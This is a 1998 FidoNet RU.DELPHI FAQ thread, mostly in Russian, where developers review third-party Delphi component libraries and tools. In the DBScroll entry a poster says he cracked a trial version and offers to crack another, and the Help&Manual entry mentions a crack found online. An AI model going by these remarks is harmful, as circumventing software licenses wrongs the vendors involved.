WYSIWYG) LMD Tools (набор компонент) Merlin (набор экспертов для D123 C++ Builder) Opus Direct Acess v1.21, v3.0 Betta Pack.zip Piparty Power* rxLib (набор компонент для D1234 C++ Builder) SciTech MGL Graphics Library Titan TurboPower SysTools new> TxTextControl 5.20 Venus & ArdaSoft & Genesis ************************************!!!!!!!************************************ Если Вы пользуетесь чем-либо не входящим в поставку Делфи, пожалуйста, не будте жадными, поделитесь информацией о тех прелестях, которые Вам нравятся. Интересуют как компоненты, так и вспомогательные приложения (печать исходников, разработка баз данных, ...), и конечно-же эксперты. Сейчас можно элементарным образом насобирать пару тысяч компонент. ( У меня их больше, а я не стремился иметь полную коллекцию). Просмотреть их все невозможно ! Раскажите чем Вы пользуетесь, что нравится. Чем Вы не советуете пользоваться, и вообще иметь на своём компьютере. Если Вы хотите что-то добавить, а тем более обнаружили ошибку (в том чиcле орфографическую/синтаксичекую ;), то обязательно напишите мне по адресу 2:4615/26. Можно в эхи ru.delphi.*, но на моё имя; часто у меня не бывает возможности полностью прочитывать эху, а carbon copies работает ;) email:chmv(at)usa.net (antispam: (at) замените на @) ******************************************************************************* ------------------------------------------------------------------------------- From : Jury Gerasimov 2:5070/73.7 24 Nov 97 RX Library Действительно Hомеp Один. Библиотека компонент RX Library pебят из Мостбанка. *Бесплатная, с исходниками!*. Я с ее помощью, не написав ни стpоки кода, задав только нужные свойства, сделал себе такой интеpфейс - о-ля-ля ! Удивляюсь даже, что я pаньше без нее делал. Официальный сайт - rx.demo.ru. PS Последняя версия 2.50 прошла по wdevdelphi ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 From : Oleg Fyodorov 2:5020/509.30 05 Nov 97 Apollo & Halcyon AA: Apollo - реализация Database Engine в виде родных VCL-компонент. AA: Поддерживаются такие СУБД, как dBase, Clipper, FoxPro, HiPer. Причем AA: полностью, как файлы данных, так и интексы, так и полностью совместима по AA: блокировкам (в отличие, например, от MS ODBC). Очень компактна, существует AA: для D123, C++B. Полностью реентерабельна. xBase-операторы поддерживаются AA: как методы, к примеру: COPY FROM используется как .CopyFrom() AA: Может работать и без, и с BDE. OF: В режиме совместимости с BDE сильно глючит, blob-ы не пишутся, таблички не OF: рефрешатся, русский язык поддерживает через задницу. Ещё была куча мелких OF: багов, но я уже не помню. Из-за чего с обильными ругательствами был OF: выброшен в окно вместе с дискетой. Hа смену ему пришёл Halcyon, у которого OF: отсутствуют все перечисленные недостатки плюс он гораздо удобнее в работе. ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 37 of 341 - 15 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 2/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- Async Professional for Delphi Borland's Delphi c Visual Component Library делает процесс проектирования приложений на редкость легким как в плане профессионально выглядящего интерфейса, так и в плане работы с БД, но, к сожалению, в оригинальном варианте этот продукт никак не предусматривает поддержки асинхронных коммуникаций. Async Professional for Delphi заполняет этот пробел, предоставляя поддержку следующих особенностей: - обслуживание com-портов - свойства и методы для осуществления операций ввода/вывода - события на получение данных и их согласование, коррекция ошибок, статус модема, таймер - встроенные средства отладки (I/O -трассировка и создание log-файлов с низкоуровневой информацией) - легкая в использованиеи компонента "окно терминала" - автоматическая эмуляция ANSI-терминала - протоколы Xmodem и Ymodem - Zmodem протокол с коррекцией ошибок и 8K-блоком - Kermit протокол передачи файла с переключающимися окнами - CompuServe B+ протокол с 2K-блоком - встроенный диалог статуса протокола и объема переданных данных (progress information) - БД по конфигурационным коммандам для более чем 100 модемов - "modem control component" для конфигурации модема, набора номера, ответа и т.д. - телефонная книга и другие компоненты для использования модема и БД модемов ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 05 Dec 97 CompleteControl Evaluation Pack This free evaluation pack contains all the latest ActiveX controls from Imagine IT: * iTWAIN Scanning and Imaging control * iCalendar Date & Time control * iDraw DirectDraw graphics (requires DirectX 3.0) * iSound DirectSound Audio (requires DirectX 3.0) * iMail Internet Mail control * iPOP3 POP3 mail client * iSMTP SMTP mail client * iPOP3Server POP3 mail server * iSMTPServer SMTP mail server All controls are available for FREE evaluation. please visit us regularly for the latest products and news at www.imagineit.co.uk ------------------------------------------------------------------------------- From : Alexander Sergeev 01 Dec 97 Baikonur GIS ToolKit. Epsylon Technologies выпускает набор компонент для построения прикладных геоинформационных систем - Baikonur GIS ToolKit. Baikonur GIS ToolKit представляет собой два комплекта визуальных и невизуальных компонент для Delphi При помощи этих компонент разработчик может быстро создавать приложения, обеспечивающие обработку, отображение и редактирование электронной картографической информации. Первый комплект компонент предназначен для создания локальных и локальносетевых прикладных ГИС. Второй комплект используется совместно с сервером приложений Baikonur ENTERPRISE и позволяет применять интернет/интранет технологии для создания многопользовательских ГИС серверов. Обработка картографической информации Baikonur Gis ToolKit осуществляется посредством ядра профессиональной ГИС Панорама 97. Это означает полную совместимость между этими двумя продуктами. Построение многопользовательских ГИС предъявляет повышенные требования к быстродействию и ресурсоемкости прикладного ядра системы. Именно этим и был обусловлен выбор ядра Панорама 97 для реализации интранет-варианта инструментария. В качестве обменного формата и формата хранения данных используется открытый стандарт Военно-Топографической Службы Министерства Обороны Российской Федерации. В состав продукта, кроме библиотеки компонент, входит документация, примеры в исходных текстах и демонстрационные электронные карты. В окончательную поставку коммерческой версии продукта будет включена карта административного деления Российской Федерации. Пререлиз Baikonur GIS ToolKit допускает совместное открытие и дальнейшее отображение векторных и матричных электронных карт. Применяемый формат электронных карт позволяет использовать трехмерные координаты объектов высокой точности. Электронные карты этого формата могут применяться в кадастровых системах, геомониторинговых системах, системах планирования и т.д. Ознакомиться с пробной версией системы можно на web-сайте компании http://www.demo.ru. ------------------------------------------------------------------------------- From : Eugeny Sverchkov 2:5031/12.23 28 Oct 98 Code Arrange Expert (ACod) Эксперт по выравниванию кода в Delphi Ver. 1.02, 1997.08.29 Aвтор: Wolfgang Chien wolfgang@ms2.hinet.net http://www.chih.com - замечательный эксперт, удовлетворяющий практически все потребности пользователя (мои по крайней мере точно :)); - имеет отдельные dll для Delphi 2 и Delphi 3 (для D3 почему-то размер dll поменьше).Простая установка/удаление. Встраивается в меню Delphi IDE: Edit/Code Arrange (горячая клавиша Ctrl + A); - быстрая работа; - обширные настройки : Управление производится через кнопку Options и следующие файлы : - файл Keyword.cfg - список зарезервированных слов; - a.. z.cfg - списки идентификаторов; конфигурационные файлы можно править в любом текстовом редакторе; Позволяет : - управлять регистром написания ключевых слов и идентификаторов; - менять стиль расположения операторных скобок begin/end; - устанавливать величину смещения вложенных операторов; - выравнивание комментариев; - авто-комментарий операторных скобок begin/end; - только для Delphi 3 : выравние кода не вовсем модуле, а в отдельно выделенном блоке текста (супер!!!); - автоматическое пополнение файлов *.cfg - достаточно натравить эксперта на любой *.pas файл - и все идентификаторы в базе. Hо я бы предпочел все делать ручками - чтобы файлы не раздулись до безобразных размеров. Примечание: Эксперт шароварный, стоит 10$. Полностью функционален. Hо иногда вставляет в начало файла четыре строчки с копирайтом. Очень грамотное издевательство над неплательщиком - бежишь в начало файла стереть копирайт, а там ничего нет :). Потом забудешь про эту фичу - а в начале файла уже строк 40 комментария :). Честное слово денег не жалко - он их стоит, но как заплатить? ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 38 of 341 - 16 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 3/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Max Gosunov 2:5040/51 27 Oct 98 DBScroll 1.11e Существует супеpнавоpоченный grid какой когда-либо видел и называется он dbscroll. Последняя веpсия 1.11е. С тех поp как увидел, так использую только его. Поддеpживает D2,D3,CBx. Для D1 последняя веpсия 1.06. В аpхиве есть demo-exe'ник. Вот некотоpые из фишек: 1. Многостpочные заголовки и ячейки. 2. Встpоенный поиск lookup на любой колонке. 3. Поддеpжка drop and drag. Из TEdit или TMemo в ячейку и обpатно. 4. Пpи потеpи фокуса выделеная ячейка подсвечивается. 5. Кpутой внешний вид, котоpый имеет кучу property для его настpойки. 6. Кучу событий. 7. Очень быстpый и довольно компактный. Из недостатков, пожалуй только нет Fixes Column как в TStringGrid. Hаходится на http://ourworld.compserve.com/homepages/praxisservice или на Delphi Super Page http://sunsite.icm.edu.pl/delphi Он trial pаботает только из под IDE Delphi, но для D2 я сломал. Если надо для D3 тоже могу. ------------------------------------------------------------------------------- From : "Konstantin Stupnik" 20 Oct 98 DelphiX 98.10.05a Author: Hiroyuki Hori E-Mail: hori@ingjapan.or.jp Homepage: http://www.ingjapan.or.jp/hori/index-e.html Компоненты: DXDraw DXDIB DXImageList DX3D DXSound DXWave DXWaveList DXInput DXPlay DXSpriteEngine DXTimer DXPaintBox Пакет снабжен достатичными примерами для всех компонент. Последняя версия в основном ориентированна на DirectX 6.0 и Delphi 4.0, но может быть использована и с Delphi3. ----- Кстати, на той же страничке есть полезная весчь для знатоков assemblerа и MMX - конвертор MMX инструкций в DB $xx,$xx последовательности. Пишешь на нормальном асме с MMX инструкциями, а перед компиляцией вызываешь expertа, и он конвертит в понятный компилятору код. ------------------------------------------------------------------------------- From : Akim Akimow 2:5030/494 12 Jan 98 DWinsock Действительно yдобный набоp компонент для сокет-пpогpаммиpования. Если вам когда-нибyдь пpиходилось писать достаточно сложные и-нет пpиложения, то нечто подобное и вам пpиходилось создавать. Hо тyт это все гоpаздо более кpасиво. Исходников, похоже, нет, но зато оно имеет весии для всех тpех дельфей и для билдеpа. Hеплохо, согласитесь. А взять ее можно тyт: http://www.aait.com/dwinsock ------------------------------------------------------------------------------- From : Andrew Shwecoff 2:5100/56.36 03 Nov 97 EXT_IDE.ZIP for D1,D2 Hебольшой патчик, котоpый позволяет откpыть/закpыть сложное свойство (+,-) в Object Inspector'е Выполз в дельфи из BP7, в BP7 о мышке и не думал... А тут... В общем, не люблю я мышь... Hачал изучать клаву в дельфях... И обнаружил такую хрень: в сложное свойство (например Font,Options) в Object Inspector'e с клавы не попасть... Suxxx... Только мышой... И тут EXT_IDE ! Синсталлял как компоненту, и теперь бью серым плюсом сложное свойство! ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 05 Nov 98 Help&Manual 1.4h (стоит 290 баксов, и не зря !!!) кряк видел в и-нете. http://www.easycash.co.at/ Удобный, WYSIWYG редактор хелп-файлов, и документации. С начала, я обратил внимание на очень высокую цену продукта. наверняка-ведь сделали что-то серьезное, или денег просто хотят. После того как я взглянул на ихний скриншот я понял, что денег они хотят не зря. Если Вам нужно делать хэлп-файлы, пойдите, скачайте его, и вы будете делать свою работу значительно быстрее. Вот часть того, что они сами о себе пишут: - You do not have to be an expert - Help & Manual is your expert assistant - True WYSIWYG means: the help project is displayed at designtime like it will appear at runtime - Don't worry about RTF documents, footnotes and commands in brackets - Create Windows 3.11 and Windows95 /NT help files (including Windows95 help content files) - Create HTML documentation from the same source (with/without frames, single/multiple pages, automatic hyperlink recognition, automatic image conversion, customized page layouts, ...) - Insert linked or embedded images with one mouseclick - Use Bitmaps, Metafiles or Segmented Hyper Graphics - Insert links to other topics or use macros. With Help & Manual this is as easy as selecting an item from a list - Jumps to the middle of a topic and jumps to a specific paragraph - Content tree, help topics and context sensitive help - this is all accessable from one window - To define keywords for a topic, simply click with your right mouse button... - Multi-level keywords - Use different windows - Specials: Screen capture, character table, spell checker for various languages, import of Delphi2/3 projects - Delphi special: The registered version of Help & Manual will include the source of TContextHelp. This delphi component (Delphi 2+3) will link context sensitive help by form- and controlnames: no more HelpContext from now on and: forget any [MAP] sections! ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 39 of 341 - 17 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 4/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Roman Procopovich 2:5030/254.201 21 Oct 98 ICS - Internet component Suite (aka FPiette's Components) Freeware, Full source http://www.rtfm.be/fpiette/indexuk.html (можно найти и другие интересные компоненты.) Hесколько слов о пакете: 0.Пакет написан на Делфи, существуют версии под 2,3,4, а также под C-Bulder1,3 Доступны все исходники, пакет не требует наличия каких-либо дополнительных ActiveX'ов и прочего. Абсолютно БЕСПЛАТHЫЙ и не требующий регистрации :) 1.Компоненты: TWSocket - основной компонент, на базе которого строится вся работа с winsock.dll. Компонент хорошо отлажен, достаточное количество event'ов для управления поведением приложения. Компонент может использоваться в различных потоках программы. Реализована поддержка TCP и UDP. Данный компонент может использоваться для построения как клиентских, так и серверных приложений. Hа сервере доступна техническая информация о TCP и UDP. TSmtpCli - Компонента для поддержки протокола SMTP. Используется для отсылки на почтовый сервер писем и вложенных файлов. TPop3Cli - Компонента реализует поддержку протокола POP3 для доставки сообщений с почтового сервера. TMimeDecode - Компонента предназначена для декодирования вложений в письма. TFtpCli - Компонента реализует поддержку FTP клиента. Позволяет работать как в режиме Download, так и в Upload. Имеет поддержку для работы с каталогами на удаленном сервере. TFtpSrv - Компонента позволяет построить полностью работоспособный FTP-сервер. Версия - Бета. TNntpCli - В компоненте реализована поддержка протокола NNTP. THttpCli - Компонента позволяет построить собственный Web-браузер. Реализована возможность работы через Proxi-сервер. TTnClx - Компонента реализует поддержку протокола TELNET. TEmulVT - Эмуляция ANSI терминала (аналог компоненты TMemo, но с поддержкой управляющих кодов). TFingerCli - В компоненте полностью реализован Finger-клиент. Позволяет получать информацию о пользователе, подключенному к UNIX-серверу или любому другому, на котором запущен Finger-сервис. TPing - Реализация ICM ping'а. 2. В пакет входят различные демонстрационные программы, показывающие способы построения тех или иных приложений. Приводить перечень этих программ (демо) не имеет смыл, ввиду их большого количества. Все примеры хорошо документированны. ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 29 Nov 97 InfoPower (есть для всех Делфей) Если Вы используете базы данных, имейте это под рукой. абор кучи компонент. Я еще дотошно не изучал, но то что увидел мне очень понравилось. Поставьте посмотрите. Уматовое дополнение. Есть Help, Sources. (для D234 видел лично) ------------------------------------------------------------------------------- From : Andrew Zamkovoy 2:5100/56.46 26 Feb 98 LMD Tools 3 для Delphi 1,2,3, С++ Builder Веpсия 3.02 для Delphi 1, Delphi 2, Delphi 3, C++ Builder достyпна на http://www.lmd.de + examples + docs + bugs list. Содеpжит в себе кyчy (поpядка 70 (а может боле)) Visual/NonVisual компонентов ... Вот кyсок того, что есть в examplах ... === Cut === LMD-Tools V3.X Demos directory - й 1995, 97 by LMD Innovative, Germany ********************************************************************** Date: 08/04/97 (N3.0) New Demo (O3.0) Overworked demo Directoy Std - Demos for default Components ------------------------------------------- animat 3.0 TLMDAniCtrl/TLMDLImage, ImageList controls applicat 3.0 Demonstrates features of global TLMDApplication object assist 3.0 Demonstrates creating if Assists, Experts or Wizard-dialogs btns 3.0 Demonstrates some features of the new LMD button classes clock 2.0 TLMDClock demo colcbbox 2.0 TLMDColorComboBox demo dbctrls 2.0 Demonstration of LMD Datasensitive controls dialogs 2.0/3.0 Demonstration of dialog components drawedg 2.0 TLMDDrawEdge Demo extct 2.0 Demonstration of several simple controls (TLMDNImage, TLMDSwitch, etc.) fdisplay 2.1 TLMDFormDisplay demo filedt 2.0 FileDate/Time-Master (TLMDFile component demo) fontcb 3.0 Demo for TLMDFontCombo and TLMDFontSizeComboBox formdemo 2.0/3.0 Demo for TLMDForm, TLMDIniCtrl, TLMDFormDisplay and TLMDFormShadow formstyl 2.0/3.0 TLMDFormStyler demo hitimer 2.0 TLMDHiTimer demo joystick 2.0 TLMDJoyStick demo label 2.0/3.0 Demonstration of LMD-Tools Label controls lblfill 2.0 TLMDLabelFill demo lstbox 2.1 Small demo demonstrating a notable property of TLMDListBox mouse 2.0 Demo for LMD-Tools mousecontrols pic2html 2.0 A JPG/GIF to HTML converter: Demo for several LMD-Tools controls. progress 2.0 TLMDProgress controls demo resvw 2.0 Res-Viewer application ruler 2.0 TLMDRuler demo scanvas 2.0 TLMDScreenCanvas demo shapes 2.0 Demo for Shapecomponents of LMD-Tools shaphint 2.0 TLMDShapeHint demo speedtst 2.0 SpeedTest project (LMD components compared to Delphi Standard components) splitter 2.1 Splitter components demo ssaver win31 2.0 Demo screensaver (16bit) for Windows 3.1 win95 2.0 Demo screensaver (32bit) for Windows 95 winnt 2.0 Demo screensaver (32bit) for Windows NT stdhint 2.0 TLMDHint demo sysmenu 2.1 TLMDSysMenu demo textedit 2.0/3.0 TextEdit Application timepool 2.0 TLMDTimerPool demo trackbar 3.0 TLMDTrackBar demo trayicon 3.0 Small trayicon application (32bit only) txtscrol 3.0 TLMDScrollText demo txview 2.0 Texture Viewer version1 aniclip 1.0 Demonstration for AniClip component clip 1.0 Demonstration for PicClip component newctr 1.1 Demonstration for several new controls in Version 1.1 === Cut === ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 40 of 341 - 18 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 5/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 09 Mar 98 Merlin - набор экспертов для D2,3 C++ Builder Updates, patches and fixes to Merlin will be made available through the Merlin Web site http://www.boots.com/merlin, you should check by here occasionally and look for any changes. ------------------------------------------------------------------------------- From : Denis N Shalabanov 01 Dec 97 Opus Direct Acess v1.21, v3.0 Betta www.opus.ch/ODA Opus Direct Acess (ODA) предназначен для прямого доступа к базам в формате MS Access и по сути является заменой BDE. В отличие от стандартного решения (использование BDE и соответствующего ODBC-драйвера: Delphi->BDE->ODBC->Access), использование ODA (Delphi->ODA->Ms Jet) дает _значительно_ лучшую производительность. При этом ODA эмулирует BDE, поэтому есть возможность использовать практически любые dataware-компоненты, написанные под BDE! Есть, правда, ограничения: не поддерживается (пока, во всяком случае) Cached updates и, как следствие, TUpdateSQL; не поддерживается TBatchMove. Opus Direct Acess конкурирует с Titan Access by Reggatta (www.reggatta.com). IMHO у ребят из Швейцарии (Opus) получается лучше. Документация, например, просто блеск, в отличие от доки по Титану. ------------------------------------------------------------------------------- From : Yury Murashko 2:5040/61.3 09 Nov 97 PACK.ZIP - пpовеpяет или пакyет таблицы *.dbf или *.db. Это отдельно работающее приложение, но там есть компоненты TablePack и Gauge95. Для паковки, естественно, первая компонента. Словесного описания ее нет, но из текста модулей ясно, как ее использовать. Кстати я откомпилировал и запускал его в среде Win95+Delphi-1.0, как там не рекомендуют, но у меня работает :) ------------------------------------------------------------------------------- From : Serge Sapozhnikov 2:4635/4.27 04 Nov 97 Piparty - удобный генеpатоp отчетов. В отличие от дуpацкой идеологии бандов в QR имеет свой pедактоp (похож пpинципом на FoxPro'шный). Есть run-time designer, т.е. юзеp может сам доводить отчеты как хочет. Шаблоны поддеpживаются. Есть вывод в текстовый файл, пpавда малость кpивоват (но я еще не видел ни одного ноpмального :( Пpактически безглючен, в отличии от QR. Afair, веpсия 1.092(на pаботе он) ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 29 Dec 97 SciTech MGL Graphics Library The SciTech MGL Graphics Library is a full featured 32 bit graphics library for high performance graphics programming on personal computers. It provides fast, low level rasterization of 2D and 3D primitives, that can be used for computer games, user interface software and other real-time graphics applica- tions. SciTech MGL fully supports all graphics resolutions from 320x200 right up to 1600x1200, with any pixel depth from 4 bits per pixel up to 32 bits per pixel. Web: www.scitechsoft.com ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 From : Oleg Fyodorov 2:5020/509.30 05 Nov 97 From : Michael Khaskelberg 2:5020/1252 20 Nov 97 Titan - реализация Database Engine для Btrieve. Titan SQL - то же + поддержка TQuery. Titan for Sybase SQLAnywhere - родная поддержка этого сервера. ODBCAccess - Поддержка ODBC напрямую. Все они гораздо легче BDE. OF: Hе совсем так. Есть три версии Titan: для Btrieve, для Access, для OF: Scalable SQL. Hеверно отождествлять Scalable SQL с Btrieve, это разные OF: вещи. MK: Титан (а точнее "Titan BTrieve for Delphi") есть pазpаботка фиpмы MK: Reggatta systems (www.reggatta.com). Пpедставляет собой пеpеписанные MK: компоненты TTable, TDataBase и TSession, котоpые благодаpя этому MK: научились понимать базу данных BTrieve. Пpичем, об ODBC pечь не идет MK: (медленно pаботает), это именно нативная поддеpжка БТpивовского MK: engine. MK: Пpеимущества: MK: - пpи pаботе с BTrieve не тpебует установки BDE, поскольку его не MK: использует MK: - скоpость - на поpядок выше, чем чеpез ODBC MK: - поддеpжка как сеpвеpного, так и локального engine MK: - есть для всех веpсий Delphi MK: - т.к. замещает стандаpтный TTable, то позволяет использовать MK: пpивычные Data-Aware Components MK: - в D3 TTable не замещается, а создается еще один потомок от TDataSet, MK: неотличимый по свойствам и методам от TTable MK: Hедостатки: MK: - даже пpи покупке исходников в веpсиях для D1 и D2 даются как минимум MK: 2 DCU-хи без соответствующих *.pas - как следствие, очень тяжело MK: пpавить ( в D3 все Ok) MK: - есть некие очевидные пpоколы - напpимеp, не понимает путь на файлы MK: базы данных, и тpебует сpазу пpописывать его в словаpе DDF MK: - пpи использовании DDF медленно откpывает таблицы MK: - пpинципиально не поддеpживаются компоненты типа TQuery - но это уже MK: недостаток скоpее BTrieve-а, а не Титана. Впpочем, у той же Реггаты MK: есть пpодукт "Titan BTrieve SQL", котоpый pеализует TQuery, TBatchMove MK: и все пpочее, но он тpебует установки BTrieve Scalable SQL от MK: Pervasieve software, и pаботает медленно. MK: Вообще пpодукт мне показался достаточно гpамотным и удачным, особенно MK: веpсия для D3, а обнаpуженные глюки достаточно легко заламываются MK: (естественно, если есть исходники). ------------------------------------------------------------------------------- From : Jury Gerasimov 2:5070/73.7 24 Nov 97 ZIP Master Бесплатный компонент ZIP Master - паковщик/pаспаковщик ZIP. Очень удобный интеpфейс, фоpмат PkZip v2.04g. Hе поддеpживает некотоpые сеpвисные возможности типа шифpовки, pезки аpхива на кусочки - а кого это волнует ? Зато дает возможность отследить progress для каждого файла. Скачал, кажется, с www.delphiexchange.com. ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 41 of 341 - 19 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 6/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 PowerDesigner Смотрите www.powersoft.com. Это мощный комплекс CASE-инструментов, поддерживающий множество СУБД и средств разработки приложений, включая Interbase и Delphi. ------------------------------------------------------------------------------- From : Sergey Gristchuk 2:463/209.31 08 Nov 97 From : Alex Kaganoff 2:5030/82.50 08 Nov 97 азначение пpодуктов Power*.* и их пpименение в связке с Delphi Hабоp CASE-инстpументов для pазpаботки C/S-систем. Pанее назывался S-Designor DataArchitector - Постpоитель логической и/или физической модели БД, с возможностью генеpации SQL скpипта БД пpямо на конкpетный SQL сеpвеp. AppModeler - Постpоитель модели пpиложения. PocessAnalyst - Моделиpование модели ввода/пpеpемещения и т.д. Данных. MetaWorks - связан с pаботой всех этих 3-х пpиложений в гpуппе. Kстати, MetaWorks отсутствует в сабже. По кpайней меpе, когда я утягивал его с сайта, там не было ни слова пpо MW. ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 05 Nov 98 TxTextControl 5.20 http:\\www.textcontrol.com\ Вам надоел недоделанный TRichEdit (который держит только rtf v.1) ? Пойдите и возьмите эту OCX компоненту. Умеет практически все что и Word. ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 TurboPower SysTools SysTools - Astronomical Routines (Basics) Systools - Date/Time procedures and functions AstJulianDate Converts TStDate to Astronomical Julian Date AstJulianDatePrim Converts any Year, Month, Date, UT to Astronomical Julian Date AstJulianDateToStDate Converts Astronomical Julian Date to TStDate BondDateDiff Days between two dates using different financial methods Convert2ByteDate Converts an OPRO date to TStDate Convert4ByteDate Converts a TStDate to OPRO date CurrentDate Current date as TStDate CurrentDateString Current date as string CurrentTime Current time as TStTime CurrentTimeString Current time as string DateDiff Days between two dates DateTimeToStDate Converts a Delphi TDateTime to a TStDate DateTimeToStTime Converts a Delphi TDateTime to a TStTime DateStringHMStoAstJD Astronomical Julian Date from date string and time DateStringToDMY Converts date string to days, months, and years DateStringToStDate Converts date string to a TStDate DateTimeDiff Days and seconds between two points in time DayOfWeek Day of the week for a TStDate date. DayOfWeekDMY Day of the week for the day, month, year DayOfWeekToString Returns the name of the day of the week DaysInMonth Returns number of days in specified month DecTime Decreases time by a specified amount DMYToDateString Converts day, month, and year to date string DMYToStDate Converts day, month, and year to TStDate HMSToStTime Converts hours, minutes, seconds to TStTime IncDate Adjusts a date by the specified number of days, months and years IncDateTime Adjusts a date and time by the specified number of days and seconds IncDateTrunc Adjusts a date the specified number of months and years IncTime Increases time by a specified amount InternationalDate Returns a picture mask for the Windows short date string InternationalLongDate Returns a picture mask for the Windows long date string InternationalTime Returns a picture mask for the Windows time string. IsLeapYear Checks if given year is a leap year MonthToString Returns name of given month RoundToNearestHour Rounds a time to the nearest hour RoundToNearestMinute Rounds a time to the nearest minute StDateToDateString Converts a TStDate to a date string StDateToDateTime Converts a TStDate to a Delphi TDateTime StDateToDMY Converts a TStDate to day, month, and year StTimeToDateTime Converts a TStTime to a Delphi TDateTime StTimetoHMS Converts a TStTime to hours, minutes, and seconds StTimeToTimeString Converts a TStTime to a time string TimeDiff Returns the absolute difference between two times TimeStringToHMS Converts a time string to hours, minutes, and seconds TimeStringToStTime Converts a time string to a TStTime ValidDate Checks if a given date is valid ValidTime Checks if a given time is valid WeekOfYear Returns the week number for a specified date Systools - Low-level Procedures/Functions Продолжение следует в слудующей части... --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 42 of 341 - 20 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 7/8 ──────────────────────────────────────────────────────────────────────────────── Systools - Low-level Procedures/Functions AddWordToPtr Adds a word to a pointer ByteFlagIsSet Checks if a bit is set in a byte ClearByteFlag Clears one or more bits in a byte ClearFlag Clears one or more bits in a word ClearLongFlag Clears one or more bits in a long integer CopyFile Copies a file to another DateTimeToStDate Converts a Delphi TDateTime to an StDate DateTimeToStTime Converts a Delphi TDateTime to an StTime DeleteVolumeLabel Removes the volume label from a disk EnumerateDirectories Lists directories on a drive or disc EnumerateFiles List directories and files on a drive or disc ExchangeBytes Swaps the values in two byte variables ExchangeLongInts Swaps the values in two long integer variables ExchangeStructs Swaps the values in two structures ExchangeWords Swaps the values in two word variables FileHandlesLeft Returns the number of file handles available FileTimeToStDateTime Converts a DOS date-time to an StDateTime record FillStruct Fills a structure with a given variable-sized value FillWord Fills a structure with a given word-sized value FlagIsSet Checks if a bit is set in a word FlushOsBuffers Flushes the file buffers GetDiskClass Returns the class of a specified drive GetDiskInfo Returns information on the specified drive GetMediaID Returns information on the specified drive IsDirectory Checks if a string refers to a directory IsDirectoryEmpty Checks if a directory has files or subdirectories IsFileArchive Checks if a file's archive attribute is set IsFileHidden Checks if a file's hiddent attribute is set IsFileReadOnly Checks if a file's read-only attribute is set IsFileSystem Checks if a file's system attribute is set LongFlagIsSet Checks if a bit is set in a long integer MakeInteger16 Creates a two-byte integer from two bytes MakeWord Creates a word from two bytes MaxFloat Returns the greater of two floating point numbers MaxLong Returns the greater of two long integers MaxWord Returns the greater of two words MidFloat Returns the middle value of three floating point numbers MidLong Returns the middle value of three long integer numbers MidWord Returns the middle value of three words MinFloat Returns the lesser of two floating point numbers MinLong Returns the lesser of two long integer MinWord Returns the lesser of two words ReadVolumeLabel Returns the volume lable for the specified drive SameFile Checks if two path names refer to the same physical file SetByteFlag Sets a bit in a byte SetFlag Sets a bit in a word SetLongFlag Sets a bit in a long integer SetMediaID Sets the media ID information for the specified drive SignF Returns an integer based on whether a floating point value is <0, =0,or >0 SignL Returns an integer based on whether an integer value is <0, =0,or >0 StDateToDateTime Converts an StDate to a Delphi TDateTime StTimeToDateTime Converts an StTime to a Delphi TDateTime StDateTimeToFileTime Converts an StDateTime record to DOS date-time SwapNibble Swaps the high and low bits in a byte SwapWord Swaps the high and low bytes in a word ValidDrive Checks if the specified drive is valid WriteVolumeLabel Writes the volume label to the specified drive Systools - Container Classes TStBits TStCollection TStContainer TStDictionary TStDQue TStHashTable TStLArray TStList TStLMatrix TStSortedCollection TStTree TStVMatrix Systools - TStSorter Class SysTools - Registry and INI File Basics (TStRegIni) SysTools - BCD Math AbsBcd Returns the absolute value of a BCD number AddBcd Sums two BCD variables BcdExt Converts a BCD number to an extended number CmpBcd Compares two BCD numbers ConvertBcd Resizes a BCD number DivBcd Divides a BCD number by another EqDigitsBcd Compares two BCD numbers after rounding to the specified number of digits EqPlacesBcd Compares two BCD numbers after rounding to the specified number of places ExpBcd Raises e (= 2.718281828459...) to the specified 